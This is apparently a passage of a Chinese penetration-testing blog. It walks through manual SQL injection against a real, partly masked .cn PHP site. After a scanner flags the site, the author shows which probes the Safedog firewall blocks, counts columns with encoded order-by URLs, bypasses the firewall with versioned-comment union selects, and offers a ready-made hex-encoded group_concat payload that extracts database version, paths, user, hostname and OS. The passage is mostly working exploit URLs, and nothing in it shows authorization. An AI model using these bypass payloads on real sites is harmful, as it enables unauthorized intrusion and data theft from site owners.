批量扫描完之后x-ray会生成一个后缀名为.html格式扫描报告存放在程序根目录位置,扫描报告可能也会存在误报的情况,需要手工进行核对。
漏洞利用我在扫描报告格式中发现了一例疑似SQL注入的信息,接下来就尝试进行手工SQL注入。
https://www.l****************d.cn/about.php?id=1,php的站点,测试注入
https://www.l****************d.cn/about.php?id=1 and 1=1 # **狗拦截
https://www.l****************d.cn/about.php?id=1 'and -1=-1 -- # 不拦截
使用内联注释猜测字段数
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%201%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%202%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%203%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%204%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%205%20--%20+ //正常
https://www.l****************d.cn/about.php?id=1%27order%23%0aby%206%20--%20+ //报错
字段数为"5"
联合查询语句,暴出可显示字段:
https://www.l****************d.cn/about.php?id=-1%27%20/*!14440union*//*!14440select%20*/1,2,3,4,5--%20#
发现可显示字段在"3"
/*!14440union*//*!14440select%20*/可以绕过安全狗,当然也可以自己本地Fuzz枚举字典进行模糊测试,
这里我为了节省时间偷懒,我这里直接使用Mysql的聚合函数(group_concat)查询系统信息结果聚合到一个位置,就不再一个个函数放进去查询浪费时间了。
这里祭出我自己拼接好的一个过狗批量查询的payload,只需要把这个Pyload粘贴在可显示字段就行了。
Bypass safety dog Payload:
group_concat(0x3C68343E42797061737320736563757269747920646F672073716C5F696E6A6563743C68343E,0x3C68723E,0x4D7953514C20506F72743A20202020,@@port,0x3C68723E,0x4D7953514C2076657273696F6E3A,@@version,0x3C68723E,0x4D7953514C5F696E7374616C6C5F706174683A2020,@@basedir,0x3C68723E,0x4D7953514C5F64617461626173655F706174683A20202020,@@datadir,0x3C68723E,0x43757272656E7420646174616261736520757365723A20202020,current_user,0x3C68723E,0x73797374656D2076657273696F6E3A20202020,@@version_compile_os,0x3C68723E,0x686F73746E616D653A20202020,@@hostname,0x3C68723E,0x43757272656E742064617461626173653A20202020,database/*!()*/,0x3C68723E,0x5573657220496E666F3A20202020,user/*!()*/)
函数 作用
@@port 查询端口号
@@version 查询系统版本号
@@basedir 查询数据库软件安装位置
@@datadir 查询数据库存放位置
current_user 查询当前用户
@@version_compile_os 查询操作系统
@@hostname 查询主机名
database/*!()*/ 查询当前数据库
user/*!()*/ 查询用户
拼接查询语句后的链接: